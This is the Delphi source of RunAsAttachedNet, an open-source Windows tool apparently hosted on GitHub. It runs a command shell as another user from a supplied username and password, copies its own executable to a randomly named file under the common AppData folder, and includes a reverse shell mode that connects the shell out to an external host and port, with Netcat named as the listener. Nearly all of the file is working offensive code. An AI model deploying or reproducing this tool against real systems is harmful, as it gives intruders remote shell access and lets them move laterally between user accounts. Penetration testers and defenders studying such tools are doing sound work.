-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathRunAsAttachedNet.dpr
328 lines (258 loc) · 9.39 KB
/
RunAsAttachedNet.dpr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
(*******************************************************************************
Jean-Pierre LESUEUR (@DarkCoderSc)
https://www.phrozen.io/
jplesueur@phrozen.io
License : MIT
Version : 1.1b
This is a beta version, many things still needs to be improved.
Known Issues:
- Socket disconnection detection is not yet fully managed.
Notice:
This is one technique using Client / Server architecture to communicate
between processes from different users.
---
The advantage of that technique is the support of reverse shell on external
network.
*******************************************************************************)
program RunAsAttachedNet;
{$APPTYPE CONSOLE}
{$R *.res}
uses
Windows,
Winsock2,
math,
SysUtils,
UntStdoutShell in 'Units\UntStdoutShell.pas',
UntWinApiDefs in 'Units\UntWinApiDefs.pas',
UntFunctions in 'Units\UntFunctions.pas',
UntTypesDefs in 'Units\UntTypesDefs.pas',
UntGlobalsDefs in 'Units\UntGlobalsDefs.pas',
UntStdHandler in 'Units\UntStdHandler.pas';
{-------------------------------------------------------------------------------
Usage Banner
-------------------------------------------------------------------------------}
function DisplayHelpBanner() : String;
begin
result := '';
///
WriteLn;
WriteLn('-----------------------------------------------------------');
Write('RunAsAttachedNet (Networked Version) By ');
WriteColoredWord('Jean-Pierre LESUEUR ');
Write('(');
WriteColoredWord('@DarkCoderSc');
WriteLn(')');
WriteLn('https://www.phrozen.io/');
WriteLn('https://github.com/darkcodersc');
WriteLn('-----------------------------------------------------------');
WriteLn;
WriteLn('RunAsAttachedNet.exe -u <username> -p <password>');
WriteLn;
WriteLn('-u : Specify username.');
WriteLn('-p : Specify password.');
WriteLn('-d : Specify domain name.');
WriteLn;
WriteLn('Bellow option are only concerned by Reverse Shell Mode:');
WriteLn('-r : Externalized server. Reverse Shell Mode (Ex: Netcat)');
WriteLn('--lhost : Server IP/Host address.');
WriteLn('--lport : Server Port.');
WriteLn;
end;
var
SET_LHOST : String = ''; //'macbook.local';
SET_LPORT : Integer = 0;
SET_USERNAME : String = '';
SET_PASSWORD : String = '';
SET_DOMAINNAME : String = '';
SET_SHELL : TShellKind = skDefault;
SET_RSHELL : Boolean = false;
LWSA : TWSAData;
LStdoutShell : TStdoutShell;
LStdHandler : TStdHandler;
LDirectory : String;
LMutex : THandle;
LEntry : TEntryKind = ekUnknown;
LOnConnectEvent : THandle;
LEventSecAttr : TSecurityAttributes;
LCommand : AnsiString;
LCommandLine : String;
begin
isMultiThread := True;
try
LMutex := 0;
try
if ((NOT IsMutexAssigned(LSTDOUT_MUTEX_NAME)) and
(NOT IsMutexAssigned(LSTDIN_MUTEX_NAME)))
then
LEntry := ekStdin
else if IsMutexAssigned(LSTDIN_MUTEX_NAME)
then
LEntry := ekStdout;
///
{-------------------------------------------------------------------------
Parse Parameters
-------------------------------------------------------------------------}
if NOT GetCommandLineOption('u', SET_USERNAME) then
raise Exception.Create('');
if NOT GetCommandLineOption('p', SET_PASSWORD) then
raise Exception.Create('');
GetCommandLineOption('d', SET_DOMAINNAME);
{-------------------------------------------------------------------------
Stdin, Stdout, Stderr Handlers
-------------------------------------------------------------------------}
case LEntry of
ekStdin : begin
{
Parse Parameters only concerned by ekStdin.
}
SET_RSHELL := CommandLineOptionExists('r');
if SET_RSHELL then begin
if NOT GetCommandLineOption('lhost', SET_LHOST) then
raise Exception.Create('');
if NOT GetCommandLineOption('lport', SET_LPORT) then
raise Exception.Create('');
if (SET_LPORT < 0) or (SET_LPORT > High(Word)) then
raise Exception.Create('');
end;
{
Stdin (RunAs Launcher + Optionnaly the local Server)
}
Debug(Format('Create Global Mutex=[%s]', [LSTDIN_MUTEX_NAME]));
///
LMutex := CreateGlobalMutex(PWideChar(LSTDIN_MUTEX_NAME));
if (LMutex = 0) then begin
DumpLastError('CreateGlobalMutex');
Exit();
end;
///
LDirectory := GetCommonAppData() + 'RunAsAttached';
///
Debug(Format('Create output directory=[%s]', [LDirectory]));
if NOT ForceDirectories(LDirectory) then begin
DumpLastError('ForceDirectories');
Exit();
end;
// Replace RandomName if you wish to use real file names.
LDirectory := Format('%s\%s%s', [LDirectory, RandomName(8), ExtractFileExt(GetModuleName(0)), SET_LPORT]);
Debug(Format('Copy source file to dest=[%s]', [LDirectory]));
if NOT CopyFile(PWideChar(GetModuleName(0)), PWideChar(LDirectory), False) then begin
DumpLastError('CopyFile');
Exit();
end;
// In a near future I will improve everything related to commandline and how
// I pass arguments. This is temporary.
if SET_RSHELL then begin
{
Replay Command Line
}
LCommandLine := GetCommandLineW(); // Get current command line
Delete(LCommandLine, 1, Pos(' ', LCommandLine)); // remove first arg
end else begin
{
Re-Forge Command Line
}
Randomize;
SET_LPORT := RandomRange(50000, High(Word)); // Chose a random port
LCommandLine := Format('-u %s -p %s -l --lport %d', [SET_USERNAME, SET_PASSWORD, SET_LPORT]);
if (SET_DOMAINNAME <> '') then
LCommandLine := Format('%s -d %s', [LCommandLine, SET_DOMAINNAME]);
end;
if NOT CreateProcessAsUser(LDirectory, LCommandLine, SET_USERNAME, SET_PASSWORD, SET_DOMAINNAME) then
Exit();
if SET_RSHELL and (SET_LHOST <> '') then begin
{
Reverse Shell Mode (Detached)
}
Debug('CTRL+C to close Stdout Handler Process.');
Sleep(2000);
{
Monitor User Child Process
}
while True do begin
if NOT IsMutexAssigned(LSTDOUT_MUTEX_NAME) then
break;
///
Sleep(100);
end;
Debug('Stdout Handler process died, closing application...');
DeleteFile(LDirectory);
end else begin
{
Local Shell (Attached)
}
if (WSAStartup($0202, LWSA) <> 0) then
Exit();
try
ZeroMemory(@LEventSecAttr, SizeOf(TSecurityAttributes));
LOnConnectEvent := CreateEvent(@LEventSecAttr, false, false, PWideChar(EVENT_CONNECTED));
if (LOnConnectEvent = 0) then begin
DumpLastError('CreateEvent');
Exit();
end;
try
Debug('CTRL+C to close Std Handlers processes.');
WriteLn;
LStdHandler := TStdHandler.Create(SET_LPORT);
WaitForSingleObject(LOnConnectEvent, INFINITE); // Wait for client to connect
{
Stdin
}
while True do begin
ReadLn(LCommand);
LCommand := (LCommand + #13#10);
{
Post Command to TStdout Thread.
}
PostThreadMessage(
LStdHandler.ThreadID,
WM_COMMAND,
NativeUInt(LCommand),
(Length(LCommand) * SizeOf(AnsiChar))
);
end;
finally
CloseHandle(LOnConnectEvent);
end;
finally
WSACleanup();
end;
end;
end;
{
Stdout / Stderr Thread (Client)
}
ekStdout : begin
if NOT GetCommandLineOption('lport', SET_LPORT) then
raise Exception.Create('');
if NOT CommandLineOptionExists('l') then begin
if NOT GetCommandLineOption('lhost', SET_LHOST) then
raise Exception.Create('');
end;
///
LMutex := CreateGlobalMutex(PWideChar(LSTDOUT_MUTEX_NAME));
if (LMutex = 0) then
Exit();
if (WSAStartup($0202, LWSA) <> 0) then
Exit();
try
LStdoutShell := TStdoutShell.Create(SET_LHOST, SET_LPORT, SET_SHELL);
LStdoutShell.WaitFor();
finally
WSACleanup();
end;
end;
end;
finally
if (LMutex <> 0) then begin
CloseHandle(LMutex);
end;
end;
except
on E: Exception do begin
if (E.Message <> '') then
Debug(Format('Exception in class=[%s], message=[%s]', [E.ClassName, E.Message]), dlError)
else
DisplayHelpBanner();
end;
end;
end.